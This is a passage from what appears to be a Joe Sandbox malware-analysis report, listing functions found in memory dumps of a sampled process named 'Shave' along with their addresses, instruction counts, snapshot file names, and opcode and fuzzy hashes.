Instruction Fuzzy Hash: 10216D31300202CBDB185B298854B7A3696AFD475AF248039DD16DF7A8EF69CC87D391

Function 379F3E98 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09c89399d5a4d4c660936e5ee424869f047d12c83eeb99007b596c9c474a9b82
Instruction ID: 9e73241c3ca8fede788c3182e54c36e484b14c3e8ff802a0f233a9643d2fe793
Opcode Fuzzy Hash: 09c89399d5a4d4c660936e5ee424869f047d12c83eeb99007b596c9c474a9b82
Instruction Fuzzy Hash: 2D113A62265D078FE3142770DCAC62B3962FB4B317F446D16920B765F24F3819058D6B

Function 04B09EA9 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e118729111b5563f93849d95deeeb65b5f60a56802e9eee8dcf531f6b0ea69f
Instruction ID: f3a9501f6585e4e66124d05fe55b99b48e96140662733b6fb112309876dbea49
Opcode Fuzzy Hash: 2e118729111b5563f93849d95deeeb65b5f60a56802e9eee8dcf531f6b0ea69f
Instruction Fuzzy Hash: 31314BB5D012199FCB10CFA9D4846DEFFF4EF48320F108259E818AB281D774A944CFA4

Function 379F54D8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa9a040ad16b5be5fde61d6500c6d2af3bd146b49b8ec8ccd26cac473955061
Instruction ID: b9eb45cab09be89829f8da5edee15aae0c937d26919d7e954fddf633a022d4a4
Opcode Fuzzy Hash: afa9a040ad16b5be5fde61d6500c6d2af3bd146b49b8ec8ccd26cac473955061
Instruction Fuzzy Hash: EF219F70A042089BEB04EBB8D8546EEBBBBFF88311F504129E405B7294DF319D45CB61

Function 001528F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53fd7002ca0c05f1e996906e564b9587001d7e0ed37104b72cfd6594509927e3
Instruction ID: ee5ad39d079721a18c7a7ad9ed419297ca34bb8e9597c3b09a7e81777ccf0057
Opcode Fuzzy Hash: 53fd7002ca0c05f1e996906e564b9587001d7e0ed37104b72cfd6594509927e3
Instruction Fuzzy Hash: 43216D36A00115DFCB14DF64D8409AEB7A5EB9E368F24C019D81A9B340DB35EE4BCBD2

Function 00156300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddf9b882066f69f0db001adfa7457bcf64ed00f79a45dd7a595b444488656f3c
Instruction ID: 8ca1436b5ae24f67f8046532f7d3fa6e87d8052c59589370b3e357c01bf9e0e7
Opcode Fuzzy Hash: ddf9b882066f69f0db001adfa7457bcf64ed00f79a45dd7a595b444488656f3c
Instruction Fuzzy Hash: 1421D135300511CBC7199B29C85892EB7A2FFC57967654038E81EDB764CF30DC068BD0

Function 00155649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fca67661d53717957ddb7926d3843485de8b2cb468bcf21c51684c1c36e7df
Instruction ID: f60f203391cd4962743e564bbcae3409dc6fe4de51db4f33f7a1051134a902c2
Opcode Fuzzy Hash: f0fca67661d53717957ddb7926d3843485de8b2cb468bcf21c51684c1c36e7df
Instruction Fuzzy Hash: B8210431209288CFCB019F24D964BAA3BB2EF49351F604079FC199F256CB349D65DBA0

Function 04B08C4A Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b869f5d43da15a42891e62441d4805d7c41c8f7112bb48429f889cb2223659
Instruction ID: 2311de1b7e449cc99781e3839c0fc2457ab4a6750725fb95328d38ef7cb776d9
Opcode Fuzzy Hash: 69b869f5d43da15a42891e62441d4805d7c41c8f7112bb48429f889cb2223659
Instruction Fuzzy Hash: 7D11EB317082546FCB06AF7C98256AF7FA79FC9250B10856AE906D7396DE384D02C7E2

Function 00154285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8c7c82f99b41b4677068fd60f9d93ddd516366ac9a6d2a5953beedfc6b7ddf
Instruction ID: b98ff589acf3cd7c304728fb343dc0da534b853da997eb107b7ba6c86411e63a
Opcode Fuzzy Hash: fe8c7c82f99b41b4677068fd60f9d93ddd516366ac9a6d2a5953beedfc6b7ddf
Instruction Fuzzy Hash: 02319078E11308CFCB48DFA8D59489DBBB2FF49305B208069E81AAB364D731AD56CF40

Function 04B09EB0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e42df50dc8167ed08ae918246ec5fc59eec3bf38d8802005d2f3da263feb094
Instruction ID: 8e758da71d317fc16fc8a9c9ae15ad404e7698026d35bd17f650278ad82ddeb3
Opcode Fuzzy Hash: 7e42df50dc8167ed08ae918246ec5fc59eec3bf38d8802005d2f3da263feb094
Instruction Fuzzy Hash: DE21F4B5D012199FCB10CFA9D584BDEFBF4EF49320F14806AE808AB251D774AA44CFA0

Function 00159761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a71e13efec69e80b49ca6504b33cb7ae222d7b33c796433afc9316a91e1eec30
Instruction ID: ee8381ed65e34c9c57bbd127003378a66e6fe776890825c175e8de6eade4ef10
Opcode Fuzzy Hash: a71e13efec69e80b49ca6504b33cb7ae222d7b33c796433afc9316a91e1eec30
Instruction Fuzzy Hash: D8214B70E00249DFCB05CFA5D550AEDBFB6AF49305F248069E815BA2A4DB309985DF60

Function 38314632 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d8b83562b48f378f298b8c69138644ce440885900cc19df0b965693b8ccfa0
Instruction ID: b85bd5d1d6de62fcd96120d81cf6e6fc8b8693ac76ed57d4147fc98d11f7f1df
Opcode Fuzzy Hash: 95d8b83562b48f378f298b8c69138644ce440885900cc19df0b965693b8ccfa0
Instruction Fuzzy Hash: A211BE7A340600CFD308DF28E594A46B7B6FF89B29B1084AAE149CB772CA34EC01CB10

Function 3831992C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc72b649c489901f1009e9d8eea73e1c0804d84497a2918e53f05b0384f538
Instruction ID: c019d390a9c28b76ca318be2f4986fd2151110e40c8d6d04b509fb8895d12ef2
Opcode Fuzzy Hash: 6edc72b649c489901f1009e9d8eea73e1c0804d84497a2918e53f05b0384f538
Instruction Fuzzy Hash: 5F112C74E05209CFEB08EFA8D884ADDBBB5BF88705F94C165E805A7346DB30E945CB50

Function 001562F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 874317d0124a90a56054c4665ba3732c98cddc91784bc063848240b2c5f83ee3
Instruction ID: 9280d7e486b35f6060188fb9997b60c05f347d309f074d93531ab31d12ccd29a
Opcode Fuzzy Hash: 874317d0124a90a56054c4665ba3732c98cddc91784bc063848240b2c5f83ee3
Instruction Fuzzy Hash: 4611C135704511CFC7155B29C86852EBBB2BFC53523594079E81ACF7A0CF20CC4687D0

Function 04B5EBE2 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90abe14a41b15da3a81be7a6b6779963ed8f95ba95be7b05a9c53fe92d2441f9
Instruction ID: ad207e73911e0cd7c9ac7360a47000621f3e1b430b840d9aa8e764c952d93bc7
Opcode Fuzzy Hash: 90abe14a41b15da3a81be7a6b6779963ed8f95ba95be7b05a9c53fe92d2441f9
Instruction Fuzzy Hash: 2A1191B5F001118FCB50DF78D44469DBBF1FF88266B1001A9E94AE7720E731EA42CB92

Function 0015F640 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae996dcdc38fa87a12e84de69bc884faf34f9f14a84bd4073973401c266e9cb5
Instruction ID: d150699a3c73358786e5d0436f9a1906f63f1c3b3f8355884af0da9b61162cdf
Opcode Fuzzy Hash: ae996dcdc38fa87a12e84de69bc884faf34f9f14a84bd4073973401c266e9cb5
Instruction Fuzzy Hash: 79216FB0D00149DFDB05DFA9D54068EBFF2FF45300F1085A9C119AB265E7749A1ACF80

Function 38314C00 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 724afcca367471be484e232739b3ace60e5b86f6d4e57ab7f2b381c184d2dd85
Instruction ID: 98812df8b60bd15b270a12f130a58e53a812ba76387d241cbd76bfe4440f3f2d
Opcode Fuzzy Hash: 724afcca367471be484e232739b3ace60e5b86f6d4e57ab7f2b381c184d2dd85
Instruction Fuzzy Hash: C4117075E0021AEFCB18FFB8849059EBBB6AB88751B444139D519A7300DB319D42CBE1

Function 001527F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b399ee20b294fe326243f98f0ee1250e25866b7982b5763b74efa77b1cc1a16c
Instruction ID: 000ca463b67c6720c849d1fb32dfafa01637fe5da3d1735b9ac82e45ae272449
Opcode Fuzzy Hash: b399ee20b294fe326243f98f0ee1250e25866b7982b5763b74efa77b1cc1a16c
Instruction Fuzzy Hash: DE21E374D05249CFCB01EFB9D8445EDBFF0AF4A300F10526AD849B7220EB355A89CBA1

Function 04B087A8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c81829268686eab197a32f5e43ee44b7d1fcd862d87a2caa8ac2bdcf79d4a68
Instruction ID: 86c7f8de3fb9335beb6b97954bd1a7e0c574628b8d51ce7d44726c14e7616ccf
Opcode Fuzzy Hash: 6c81829268686eab197a32f5e43ee44b7d1fcd862d87a2caa8ac2bdcf79d4a68
Instruction Fuzzy Hash: E6117CB2800209EFDB10DF99C404BDEBFF5EF48320F108459E518A7251C379A550DFA5

Function 04B08431 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d08a41f69086bf5e786b6308292d8d53354a76c46a13b78df95aa853d8731d1
Instruction ID: ec5c96645c35b5b967eeb4e03f45d80216b93e6717de00d6d571c5f794dc08fc
Opcode Fuzzy Hash: 3d08a41f69086bf5e786b6308292d8d53354a76c46a13b78df95aa853d8731d1
Instruction Fuzzy Hash: 1711E834F001498FDB10DFACD854BDEBBB1AF49312F40D5A5E918A7385EA30EA428F51

Function 04B08EF1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c471d0bf5d4e62a644252c1a7cc621b9e2a9cf193ffe10060e4ff717ee34abd
Instruction ID: bd7687ea7aad28c1c49e89ee05a0e0ce7dc20c30cbd621c71e5bfaa235fa8ad0
Opcode Fuzzy Hash: 2c471d0bf5d4e62a644252c1a7cc621b9e2a9cf193ffe10060e4ff717ee34abd
Instruction Fuzzy Hash: C3118BB6800249EFDB10DFA9C804BDEBFF5EF48320F148859E518A7250C379A590DFA1

Function 0015F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f5b15f6dec5b0d9cf7b6453e3fb12d67369ad65a3bb08ea7b715140d52a4325
Instruction ID: 330d5a22aec1131714a191989bb2216f001ad925ed04ee389e917318bb2b3d4b
Opcode Fuzzy Hash: 2f5b15f6dec5b0d9cf7b6453e3fb12d67369ad65a3bb08ea7b715140d52a4325
Instruction Fuzzy Hash: F2113A74D00109DFDB05EFA9D940A9EBBF6FF84300F10C569D119AB265EB749A0ACF80

Function 383149E0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6c83c032fa03a95ce5fba600737edb792ea5f88ba9e7141a93a18ed7e3811e
Instruction ID: 5026cd2a035a0ec8b7c476f028379ee1fee84a515588ae0de3a108e880dbf804
Opcode Fuzzy Hash: fa6c83c032fa03a95ce5fba600737edb792ea5f88ba9e7141a93a18ed7e3811e
Instruction Fuzzy Hash: 7B012B7560D3844FD7062734A8194AD3FEADBCB22171581A6E50ACF793DE258D4383A6

Function 00155E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99a7fe2953234f4cbd345c8e46fda7ce4ffa8beb8884fe8059336424f89745a7
Instruction ID: aa864a3ae522808f2c87094be09c5eed03dc4ba5139dbb19e23f810937a4a8ad
Opcode Fuzzy Hash: 99a7fe2953234f4cbd345c8e46fda7ce4ffa8beb8884fe8059336424f89745a7
Instruction Fuzzy Hash: 69016832704204AFCB068F649C217AE3BB7DFC9350B148066FD18DB290DB318E069B90

Function 38313248 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d4e348a7683a97f7a8660e4a07a18db734656192c3163b49aeb019998df6fed
Instruction ID: 3a986ef0b81fcf197b2e46460f626963b099d50560da856c8d298f1e0942359c
Opcode Fuzzy Hash: 3d4e348a7683a97f7a8660e4a07a18db734656192c3163b49aeb019998df6fed
Instruction Fuzzy Hash: 0C01F171E00209EFDB50AF68D8459EE3BB4FB88210F004225EC1AA7201D73449478BA2

Function 38313258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9d95aa9e8f1fd40834c98309e50b9328f7c784932b9f3e4e5a20ba116034e5b
Instruction ID: 9f68e689d67578d37a95c3af8940ee8b1c04800694ef4b6226d18f78e5b1d668
Opcode Fuzzy Hash: f9d95aa9e8f1fd40834c98309e50b9328f7c784932b9f3e4e5a20ba116034e5b
Instruction Fuzzy Hash: B1015E35E40219DFDB54AF78D8485AE7FB5FB88710F004539ED1AA7340DB3499528BA1

Function 38314640 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46f29f288a09cd48c54bff5a2bbc172dd92b24eaf644aec72b4adbd199e04e3
Instruction ID: f4eabe932c2d9f230e35fb5b52d4b61c64a66ec45414ae02bb2eb6448cc513e4
Opcode Fuzzy Hash: d46f29f288a09cd48c54bff5a2bbc172dd92b24eaf644aec72b4adbd199e04e3
Instruction Fuzzy Hash: 81015A39340600CFD708EF29D588E56B7EAEF88B69F118479E1498B761CA74ED05CB20

Function 0015E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bf7936c2657db3ed1d8464979d7549965ccacd495541adef3211ae63bd100f3
Instruction ID: 85767c51e42a06318e195e9474e44c3855d53a02b9d8f34acbcd9ddf7adb60bb
Opcode Fuzzy Hash: 9bf7936c2657db3ed1d8464979d7549965ccacd495541adef3211ae63bd100f3
Instruction Fuzzy Hash: 5D1129B4D0428AEFDB02CFA8D8449AEBBF1FB4A305F504165D914A7350D7345A2ADFA1

Function 0015ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c7e2ad1a8e59533b925edc54b5b39f97fb3008275df810ff5924bfe7894858e
Instruction ID: ab1b5d5c7f612037371c7b7cb6a59d0b688c1319dec072a213259373295c7fd8
Opcode Fuzzy Hash: 3c7e2ad1a8e59533b925edc54b5b39f97fb3008275df810ff5924bfe7894858e
Instruction Fuzzy Hash: 0AF09C31380610CB87155A2EE85462A76EEEFC8B56395417AED1DCF361DF21CC478791

Function 38314C98 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce88ba0c5145fa0463a3e27aac28cc347685323984662deb00b269f0088a79c2
Instruction ID: c3da780bc0655e25acba656cfc0db095f9f88068fc67396687b4693bf93dfc88
Opcode Fuzzy Hash: ce88ba0c5145fa0463a3e27aac28cc347685323984662deb00b269f0088a79c2
Instruction Fuzzy Hash: DAF02436B441109FC718BB2AF414A9FBBAAEFC5A24B04007AF5088B360DE36D802C794

Function 04B5EB58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a93eaa06724b2e79e7d42fa760fb6102d26a00547ee8a23c9d462bbf42d9a3b
Instruction ID: a6aeb395219510355c1a1d427973b7e4b6ed559348264085b4deaea1cd380fa9
Opcode Fuzzy Hash: 7a93eaa06724b2e79e7d42fa760fb6102d26a00547ee8a23c9d462bbf42d9a3b
Instruction Fuzzy Hash: AC01BB70E00219DFCF44EFB9C9416EEBBF5BF48201F5485A6D91AF7250E73999018B91

Function 383144CF Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46aadbcae92aabe86b2cf53085e09b6b2cf2516aeed6acc0740d0aa2af85e396
Instruction ID: bd952fd3bffb88dfd3085d4a147e2cad762847bc4bd173a05fc282aa7dffcf31
Opcode Fuzzy Hash: 46aadbcae92aabe86b2cf53085e09b6b2cf2516aeed6acc0740d0aa2af85e396
Instruction Fuzzy Hash: 91F06D75D002099F8F50DFAAD9419DFBBFAFF98350B004926D909A7215E7305E16C7A1

Function 04B5E690 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864136088684827d294893b01f4440f0e0f0907802e5dbf0a2c767aaef21f083
Instruction ID: cc90706ff538c0e6fbaca4c010f87b61acfb6ba7947c92e0a92013768918eb7f
Opcode Fuzzy Hash: 864136088684827d294893b01f4440f0e0f0907802e5dbf0a2c767aaef21f083
Instruction Fuzzy Hash: 3CF054353082448FD7049F29D915A267BE6AF89651B1544EAF90ACF2B2DA20DC05C791

Function 0015AF36 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9fd6afbcb5828346a82c089bfbc9137f51634ca9dff74ed045c9ef063690ae8
Instruction ID: 0c3463949ee1ae525ac12f5af34df97a838c65e52c2bb33d2cf00fd7680a4862
Opcode Fuzzy Hash: c9fd6afbcb5828346a82c089bfbc9137f51634ca9dff74ed045c9ef063690ae8
Instruction Fuzzy Hash: 0601D176608244DFCB159F64DC80B88BF71BF8A324F580296E9209B2E2C7308C14CB10

Function 38314990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a3b71d348041b17fe4ed0b2f604cf8a250006c5a88a8804b03956fd5a89c86b
Instruction ID: cfb488a4726f236e0d9fde337f77e8490438791edf25783a04cd38e8925af762
Opcode Fuzzy Hash: 9a3b71d348041b17fe4ed0b2f604cf8a250006c5a88a8804b03956fd5a89c86b
Instruction Fuzzy Hash: C9F05E35340605DFD704DF5AD484C5ABBEAFF8C721765816AE60987330CB719C51CB80

Function 04B5E6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 103ce7de5affa5086c6629e9297908ee242e2f568b3c198fea5dc8ed2f1fef05
Instruction ID: 35e2e4cf9c0d250d1bab97af233adc697912a3c24e5961b642c101a5ee19e09c
Opcode Fuzzy Hash: 103ce7de5affa5086c6629e9297908ee242e2f568b3c198fea5dc8ed2f1fef05
Instruction Fuzzy Hash: D6F01C353401148FD708AF2AD958A2B77EAFFC879171584A9F90ACB7B1DE60EC01C790

Function 00156739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87ae6cd3685e88ccef122826c12ec8a64028246a70ff76a84e8ca212f7d44df3
Instruction ID: 6f5d6c9342333d1151b57bf2bf3c4788a1c6e9ae60a8e24decda28d93eee7239
Opcode Fuzzy Hash: 87ae6cd3685e88ccef122826c12ec8a64028246a70ff76a84e8ca212f7d44df3
Instruction Fuzzy Hash: AEE08C3405C3814ECB07AB71A8948887F7AAF4224472442B5D00A8B5BBDFB8099BCB61

Function 00159C41 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db57f94c1a11846ba630e2626c5793562846ae42eb2105db4cdafdbcb440977
Instruction ID: e07f69eb9864daab4bc7e152dae6a04e1e42d7d8ab62cf44b6f8a855657936cc
Opcode Fuzzy Hash: 2db57f94c1a11846ba630e2626c5793562846ae42eb2105db4cdafdbcb440977
Instruction Fuzzy Hash: 60E0EC36A00108DFDF05CF59E844AEDB7B2EB98326F11C066EA198B214D7358A65DB91

Function 001528B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0144619a2f18fc8dcc6a43326a89382817eadef7f219a50aa74142c8a069217
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
